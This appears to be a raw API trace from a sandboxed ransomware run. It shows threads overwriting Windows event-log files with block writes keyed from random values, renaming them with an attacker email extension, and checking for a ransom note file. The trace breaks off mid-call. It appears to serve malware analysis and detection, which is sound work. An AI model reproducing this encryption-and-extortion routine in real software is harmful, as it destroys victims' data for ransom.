os_tid = 0xeac [0164.487] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.487] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.487] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.487] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x69efcd8 | out: lpFileSize=0x69efcd8*=69824) returned 1 [0164.487] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.487] ReadFile (in: hFile=0x4a0, lpBuffer=0x69efcac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x69efca8, lpOverlapped=0x0 | out: lpBuffer=0x69efcac*, lpNumberOfBytesRead=0x69efca8*=0x4, lpOverlapped=0x0) returned 1 [0164.488] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.488] NtQuerySystemTime (in: CurrentTime=0x69efc84 | out: CurrentTime=0x69efc84*=132121213218028086) returned 0x0 [0164.488] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xfb63bd41 [0164.488] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x86576f44 [0164.488] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x90bf1a07 [0164.488] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x8e90d645 [0164.488] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xf458c2cb [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x1ff49141 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xc09d4168 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x8790904d [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x2bf58da [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x9f408226 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x92e1030c [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x250b0ce2 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xbedb5894 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xe87ef6bb [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xa704968 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xaaa88f98 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xd5027a5c [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xab8933ce [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xaa099f63 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xb2b64028 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x3addac2d [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x3445ab7b [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x7dee90f1 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x76333869 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xcaf04f38 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x7f4ba4b0 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xb529fa3 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x20be1b2 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0x412c8ac5 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xf05460c5 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xd1738266 [0164.489] RtlRandom (in: Seed=0x69efc90 | out: Seed=0x69efc90) returned 0xdea1b069 [0164.498] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.499] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0164.499] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a748 [0164.499] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0164.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.500] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.500] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.500] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x69efc5c, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x69efc5c*=0x4096, lpOverlapped=0x0) returned 1 [0164.501] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.501] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0164.501] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.501] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0164.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0164.501] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.501] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.501] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0164.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0164.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0164.501] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x69efc5c, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x69efc5c*=0x4096, lpOverlapped=0x0) returned 1 [0164.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.502] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.502] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69efc94, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x69efc94*=0x20, lpOverlapped=0x0) returned 1 [0164.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.502] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a748*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x69efca8, lpOverlapped=0x0 | out: lpBuffer=0x2f8a748*, lpNumberOfBytesWritten=0x69efca8*=0x8, lpOverlapped=0x0) returned 1 [0164.502] WriteFile (in: hFile=0x4a0, lpBuffer=0x69efcc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69efca8, lpOverlapped=0x0 | out: lpBuffer=0x69efcc0*, lpNumberOfBytesWritten=0x69efca8*=0x4, lpOverlapped=0x0) returned 1 [0164.502] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69efca8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x69efca8*=0x4, lpOverlapped=0x0) returned 1 [0164.503] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x69efca8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x69efca8*=0x6c, lpOverlapped=0x0) returned 1 [0164.503] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69efca8, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x69efca8*=0x20, lpOverlapped=0x0) returned 1 [0164.503] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69efca8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x69efca8*=0x4, lpOverlapped=0x0) returned 1 [0164.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a748) returned 1 [0164.503] CloseHandle (hObject=0x4a0) returned 1 [0164.503] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f85918 [0164.503] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731" [0164.503] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.503] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.504] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.504] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.504] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f808a0 [0164.504] wcscpy (in: _Dest=0x2f808a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.505] wcscat (in: _Dest=0x2f808a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.505] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808a0) returned 1 [0164.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966a0) returned 1 [0164.505] RtlExitUserThread (Status=0x1) Thread: id = 1525 os_tid = 0xeb0 [0164.507] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.508] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.508] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.508] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6a6fafc | out: lpFileSize=0x6a6fafc*=69824) returned 1 [0164.508] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.508] ReadFile (in: hFile=0x4a0, lpBuffer=0x6a6fad0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6a6facc, lpOverlapped=0x0 | out: lpBuffer=0x6a6fad0*, lpNumberOfBytesRead=0x6a6facc*=0x4, lpOverlapped=0x0) returned 1 [0164.511] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.511] NtQuerySystemTime (in: CurrentTime=0x6a6faa8 | out: CurrentTime=0x6a6faa8*=132121213218184456) returned 0x0 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xaccf68de [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xe750b207 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xa80d3ec9 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x31435afd [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xad529b15 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xe111507e [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x3baa0907 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xf1e639c5 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xf7825e30 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xda93025a [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xb2deb01d [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x3971c0a4 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xdbfc31f6 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x11f4cb9e [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x6ae9a61e [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xb7dd55a6 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xd1e05bc8 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x18135bfc [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xfae76171 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x7ca2f468 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x7ae069d4 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x924256f9 [0164.511] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x5510870e [0164.512] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x8afee6b4 [0164.512] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x2b1d28de [0164.512] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x384944ac [0164.512] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x409bdd5d [0164.512] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xeb7c781b [0164.512] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x93f31814 [0164.512] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0xc45e5c43 [0164.512] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x4cb32def [0164.512] RtlRandom (in: Seed=0x6a6fab4 | out: Seed=0x6a6fab4) returned 0x3703fd37 [0164.520] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a748 [0164.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0164.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0164.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0164.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.522] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.522] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6a6fa80, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6a6fa80*=0x4096, lpOverlapped=0x0) returned 1 [0164.523] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.523] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0164.523] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.523] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a798 [0164.523] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a798) returned 1 [0164.523] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.524] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.524] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a798 [0164.524] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a798) returned 1 [0164.524] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.524] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0164.524] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6a6fa80, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6a6fa80*=0x4096, lpOverlapped=0x0) returned 1 [0164.524] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.524] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.524] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6a6fab8, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x6a6fab8*=0x20, lpOverlapped=0x0) returned 1 [0164.524] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.524] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.524] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6a6facc, lpOverlapped=0x0 | out: lpBuffer=0x2f8a770*, lpNumberOfBytesWritten=0x6a6facc*=0x8, lpOverlapped=0x0) returned 1 [0164.524] WriteFile (in: hFile=0x4a0, lpBuffer=0x6a6fae4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6a6facc, lpOverlapped=0x0 | out: lpBuffer=0x6a6fae4*, lpNumberOfBytesWritten=0x6a6facc*=0x4, lpOverlapped=0x0) returned 1 [0164.525] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6a6facc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6a6facc*=0x4, lpOverlapped=0x0) returned 1 [0164.525] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6a6facc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x6a6facc*=0x6c, lpOverlapped=0x0) returned 1 [0164.525] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6a6facc, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x6a6facc*=0x20, lpOverlapped=0x0) returned 1 [0164.525] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6a6facc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x6a6facc*=0x4, lpOverlapped=0x0) returned 1 [0164.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a748) returned 1 [0164.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0164.525] CloseHandle (hObject=0x4a0) returned 1 [0164.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f85918 [0164.525] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.525] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.525] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.526] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.526] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f808a0 [0164.527] wcscpy (in: _Dest=0x2f808a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.527] wcscat (in: _Dest=0x2f808a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.527] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808a0) returned 1 [0164.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96760) returned 1 [0164.527] RtlExitUserThread (Status=0x1) Thread: id = 1526 os_tid = 0xeb4 [0164.529] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.529] SetFileAttributesW 